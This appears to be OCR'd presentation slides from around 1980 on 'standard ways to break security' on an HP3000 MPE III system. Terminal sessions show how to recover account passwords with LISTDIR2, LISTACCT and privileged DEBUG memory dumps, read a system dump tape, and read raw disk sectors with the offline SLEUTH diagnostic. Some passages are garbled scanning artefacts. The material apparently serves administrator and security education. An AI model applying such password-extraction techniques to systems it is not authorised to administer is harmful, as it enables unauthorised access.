

SYSTEM SECURITY



STANDARD WAYS TO BREAK SECURITY

Why would you want to?

- System manager not available

How can it be done?



STANDARD WAYS TO BREAK SECURITY

Why would you want to?

System manager not available

How can it be done?

LISTDIR2

:RUN LISTDIR2.PUB.SYS

LISTDIR2 (B.O.3) (C)HEWLETT-PACKARD CO 1977
TYPE *HELP* FOR AID

>LISTACCT SYS:PASS

ACCOUNT: SYS

DISC SPACE: 73516(S)

CPU TIME: 10660(SEC)

CONNECT TIME: 11461502(MIN)

DISC LIMIT: UNLIMITED

CPU LIMIT: UNLIMITED

CONNECT LIMIT: UNLIMITED

MAX PRI: 30

GRP INX PTR: %6

USR INX PTR: %7

CAP: SP,AN,AL,UL,DI,OP,CV,UY,CS,ND,SF,IA,HA,PH,DS,YR,PM

>EXIT

PASSWORD: PASSWORD

LOC ATTR: %0

SECURITY--READ: ANY

WRITE: AC

APPEND: AC

LOCK: AC

EXECUTE: ANY

END OF PROGRAM

Reference:

..

:RUN LISTDIR2.PUH.SYS

LISTDIR2 (R.0.3) (C)HEWLETT-PACKARD CO 1977
TYPE 'HELP' FOR AID

>LISTF CALC.UTIL.SUPP;PASS

FILE: CALC.UTIL.SUPP

FCODE: PROG	FOPTIONS: BINARY, FIXED
BLK FACTOR: 1	CREATOR: TEST
REC SIZE: 256(B)	LOCKWORD: LOCKWORD
BLK SIZE: 128(W)	SECURITY--READ: ANY
EXT SIZE: 21(S)	WRITE: ANY
# REC: 20	APPEND: ANY
# SEC: 21	LOCK: ANY
# EXT: 1	EXECUTE: ANY
MAX REC: 20	**SECURITY IS ON
MAX EXT: 1	COLD LOAD ID: X20326
# LABELS: 0	CREATED: FRI, 5 JAN 1979
MAX LABELS: 0	MODIFIED: WED, 6 FEB 1980
DISC DEV #: 1	ACCESSED: WED, 6 FEB 1980
DISC TYPE: 0	LABEL ADR: X1237270
DISC SUHTYPE: 9	SEC OFFSET: X1
CLASS :DISC	FLAGS: NO ACCESSORS
FCB VECTOR: X0	

# SEG: 1	TOTAL DR: X416
STACK: X1750	DL: X0
MAXDATA: DEFAULT	CAP: IA,BA
>EXIT	

END OF PROGRAM

..

LISTACCT (group or user)

:HELLO MANAGER.SYS
ACCOUNT PASSWORD (PASS)?

INCORRECT PASSWORD. (CIEKR 1441)

:HELLO TEST.SUPP
HP3000 / MPE III B.01.SE. WED, FEB 6, 1980, 1:47 PM

:LISTACCT SYS

A = SYS

051531	051440	020040	020040	000006	000007	177407	001773	SYS.....
000000	000000	050101	051523	053517	051104	000001	017454	PASSWORD....
077777	177777	000000	024644	077777	177777	000256	161576	
077777	177777	004531	000036	000000	000000			Y.....

Reference:

[illegible]

PHYSICAL ACCESS TO SYSDUMP TAPE



:RUN,LISTEQ2.PUB.SYS

LISTEQ2 H00.00 (C) HEWLETT-PACKARD CO., 1979

***NO TEMP FILES

***FILE EQUATIONS

:FILE T;DEV=TAPE;REC=4096

:FILE L;DEV=LP;REC=-132

END OF PROGRAM

:RUN PSCREEN.UTIL.SUPP

***SCREEN CONTENTS **: WED, FEB 6, 1980, 2:38 PM

:RUN FCOPY.PUB.SYS

HP32212A.3.09 FILE COPIER (C) HEWLETT-PACKARD CO. 1979

>FROM=*T;TO=*L;CHAR

EOF FOUND IN FROMFILE AFTER RECORD 294

295 RECORDS PROCESSED *** 0 ERRORS

>EXIT

END OF PROGRAM

•: •••••H.PDOC

41ED . . M . 1 . M . M . 1 . 4 . 4 . M . M . M . M . M . 4 . M . M .

•••••

22

•JUT2

```

.....U.....STAFF .....
.....U.....SUPP .....
.....I.....SUPPORT .....
0.....).....".....Y.....UTILS .....

```

.....f00fS1

.....

PRIV MODE

Use DEBUG

:SHOWME
USER: #S12,MANAGER.SYS,PUB (NOT IN BREAK)
MPE VERSION: HP32002B.01.SE
CURRENT: WED, FEB 13, 1980, 8:44 AM
LOGON: WED, FEB 13, 1980, 8:44 AM
CPU SECONDS: 1 CONNECT MINUTES: 1
\$STDIN LDEV: 20 \$STDLIST LDEV: 20
:ALTACCT SYS;PASS=PASSZZXX
:HELLO TEST.SUPP,UTIL

CPU=1. CONNECT=2. WED. FEB 13, 1980, 8:45 AM
8:45/#S12/16/LOGOFF

8:45/#S13/16/LOGON FOR: TEST.SUPP,UTIL ON LDEV #20
HP3000 / MPE III B.01.SE. WED, FEB 13, 1980, 8:45 AM
:DEBUG

DEBUG PRIV.A27.12
?DA 1130,2
A1130 000000 000076

Reference:

?DV1+101,1,A

V1+101

```
+0      .C.....
+10     ACKERMAN....
+20     HPCORP  .1..SERV
+30     ICE ....SOUTHBAY
+40     .r.....
+50     .....
+60     .....
+70     .....
+100    .....
+110    .....
+120    .....
+130    .....
+140    .....
+150    .....
+160    .....
+170    .....
```

?DV1+101

V1+101

+0	110143	000004	000017	000030	010743	000000	020040	020040
+10	020040	020040	040503	045505	051115	040516	002366	000007
+20	044120	041517	051120	020040	001461	000007	051505	051126
+30	044503	042440	001634	000001	051517	052524	044102	040531
+40	001562	000011	000011	000011	000011	000011	000011	000011
+50	000011	000011	000011	000011	000011	000011	000011	000011
+60	000011	000011	000011	000011	000011	000011	000011	000011
+70	000011	000011	000011	000011	000011	000011	000011	000011
+100	000011	000011	000011	000011	000011	000011	000011	000011
+110	000011	000011	000011	000011	000011	000011	000011	000011
+120	000011	000011	000011	000011	000011	000011	000011	000011
+130	000011	000011	000011	000011	000011	000011	000011	000011
+140	000011	000011	000011	000011	000011	000011	000011	000011
+150	000011	000011	000011	000011	000011	000011	000011	000011
+160	000011	000011	000011	000011	000011	000011	000011	000011
+170	000011	000011	000011	000011	000011	000011	000011	000011

..

?DV1+1562+76,1,A

V1+1660

+0 SOUTH BAY.....

+10

-

+20U.....STAF

+30U.....STAF

+40 Fx.....

+50x.....

+60U.....STATS

+70U.....STATS

+100R.Sp.....

+110U.....

+120SUPP.....

+130SUPP.....

+140#.....W.....

+150#.....W.....

+160Y.d.....

+170 SUPP1#p.....

..

?DV1+1563+76,1,A

V1+1661

```
+0      ....      ....
+10     .....S.....
+20     .....U.....SUPP
+30     ORT .....
+40     .....
+50     .....
+60     .Y.d....SYS
+70     .....PASS
+100    ZZXX.....0.
+110    .....rR.....Y..
+120    ....TEST   .c.d
+130    P.....
+140    .....
+150    .....U.....
+160    UTILS .....
+170    ....      ....
```

?E

:HELLO MANAGER.SYS

CPU=1. CONNECT=4. WED, FEB 13, 1980. 8:49 AM
8:49/#S13/16/LOGOFF

ACCOUNT PASSWORD (PASS)?

8:49/#S14/16/LOGON FOR: MANAGER.SYS.PUB ON LDEV #20
HP3000 / MPE III B.01.SE. WED, FEB 13, 1980, 8:49 AM

PHYSICAL ACCESS TO COMPUTER



SLEUTH

DESCRIPTION:

Can do anything to any device

CONSIDERATIONS:

It is offline

Can do anything to any device



SLEUTH (cont.)

OPERATION:

D1 SLEUTH 3000 (HP D411A.01.04)
(C) COPYRIGHT HEWLETT-PACKARD COMPANY 1978.
> 10 DUMP T

TYPE CODE	CORRESPONDING DEVICE
1	SIO MUX CHANNEL
2	CARD READER
3	SYNC SINGLE LINE
4	HARDWIRE SERIAL
5	2607,2613,2617,2618 LINE PRINTER
6	ASYN MUX CHANNEL
7	TERMINAL CONTROLLER
8	SYSTEM CLOCK
9	SEL MAINT CARD
10	READER/PUNCH
11	7925 DISC
12	7920 DISC
13	7900 DISC
14	155 DISC
15	7905 DISC
16	256 TRACK F.H.DISC
17	512 TRACK F.H.DISC
18	800 CPI MAG TAPE
19	1600 CPI MAG TAPE
20	PAPER TAPE READER
21	PAPER TAPE PUNCH
22	PLOTTER
23	2610,2614 LINE PRINTER
24	SPECIAL INTERFACE
25	UNIVERSAL INTERFACE

```

..
Prompt
LUN
DRT Device type
No. of errors
unit
> 10 DEV 0,4,11,20,0
> 10 MC 0
> 20 END
> 30 RUN
> 30 DUMP P
    10 MC          0
    20 END
> 30 10 RC 0
> 10 AUTO
> 30 DUMP P
    10 RC          0
    20 END
> 30 RUN
> 30 20 LOOP 10,200 ← Loop to Line 10 200 times
> 1 AUTO
> 30 END
> 40 RUN

```

D1 SLEUTH 3000 (HP D411A.01.04)
 (C) COPYRIGHT HEWLETT-PACKARD COMPANY 1978.

> 10 DEV 0,4,11,20,0
 > 10 DB AA,128,0
 > 10 SEEK 0,0,0,1
 > 20 RDI 0,AA
 > 30 END
 > 40 RUN
 > 40 DUMP B,AA

75162:	7	13472	22016	23256	23322	41222	62026	62632
75172:	0	0	0	0	0	0	0	0
75202:	0	0	0	0	0	0	0	0
75212:	0	0	0	0	0	0	0	0
75222:	0	0	0	0	0	0	0	0
75232:	0	0	0	0	0	0	0	0
75242:	0	0	0	0	0	0	0	0
75252:	0	0	0	0	0	0	0	0
75262:	0	0	0	0	0	0	0	0
75272:	0	0	0	0	0	0	0	0
75302:	0	0	0	0	0	0	0	0
75312:	0	0	0	0	0	0	0	0
75322:	0	0	0	0	0	0	0	0
75332:	0	0	0	0	0	0	0	0
75342:	0	0	0	0	0	0	0	0
75352:	0	0	0	0	0	0	16247	1457

> 10 SEEK 0.0,1,1

> 1AUTO

> 40 DUMP P

10 SEEK 0, 0, 1, 1

20 RDI C, AA, %2

30 END

> 40 RUN

> 40 DUMP B.AA

75162:	110143	4	17	27	10743	0	20040	20040
75172:	20040	20040	40503	45505	51115	40516	2366	7
75202:	44120	41517	51120	20040	1461	7	51505	51126
75212:	44503	42440	1634	1	51517	52524	44102	40531
75222:	1562	10	10	10	10	10	10	10
75232:	10	10	10	10	10	10	10	10
75242:	10	10	10	10	10	10	10	10
75252:	10	10	10	10	10	10	10	10
75262:	10	10	10	10	10	10	10	10
75272:	10	10	10	10	10	10	10	10
75302:	10	10	10	10	10	10	10	10
75312:	10	10	10	10	10	10	10	10
75322:	10	10	10	10	10	10	10	10
75332:	10	10	10	10	10	10	10	10
75342:	10	10	10	10	10	10	10	10
75352:	10	10	10	10	10	10	10	10

```
> 10 EP ""
> 10 DEV 0.4.11.20.0
> 10 DB AA,128.0
> 10 PUT "CYL"
> 20 GET C
> 30 PUT "HEAD"
> 40 GET H
> 50 PUT "SECTOR"
> 60 GET S
> 70 SEEK 0.C.H.S
> 80 RDI 0,AA
> 90 END
>100 RUN
```

CYL

3

HEAD

4

SECTOR

12

```
>100 DUMP B,AA
```

75162:	0	0	0	0	0	0	0	0
75172:	0	0	0	0	0	0	0	0
75202:	0	0	0	0	0	0	0	0
75212:	0	0	0	0	0	0	0	0
75222:	0	0	0	0	0	0	0	0
75232:	0	0	0	0	0	0	0	0
75242:	0	0	0	0	0	0	0	0
75252:	0	0	0	0	0	0	0	0
75262:	0	0	0	0	0	0	0	0
75272:	0	0	0	0	0	0	0	0
75302:	0	0	0	0	0	0	0	0
75312:	0	0	0	0	0	0	0	0
75322:	0	0	0	0	0	0	0	0
75332:	0	0	0	0	0	0	0	0
75342:	0	0	0	0	0	0	0	0
75352:	0	0	0	0	0	0	0	0

>100 RUN

CYL

0

HEAD

1

SECTOR

1

>100 DUMP B.AA

75162:	110143	4	17	27	10743	0	20040	20040
75172:	20040	20040	40503	45505	51115	40516	2366	7
75202:	44120	41517	51120	20040	1461	7	51505	51126
75212:	44503	42440	1634	1	51517	52524	44102	40531
75222:	1562	10	10	10	10	10	10	10
75232:	10	10	10	10	10	10	10	10
75242:	10	10	10	10	10	10	10	10
75252:	10	10	10	10	10	10	10	10
75262:	10	10	10	10	10	10	10	10
75272:	10	10	10	10	10	10	10	10
75302:	10	10	10	10	10	10	10	10
75312:	10	10	10	10	10	10	10	10
75322:	10	10	10	10	10	10	10	10
75332:	10	10	10	10	10	10	10	10
75342:	10	10	10	10	10	10	10	10
75352:	10	10	10	10	10	10	10	10

CEO/SEO access needed





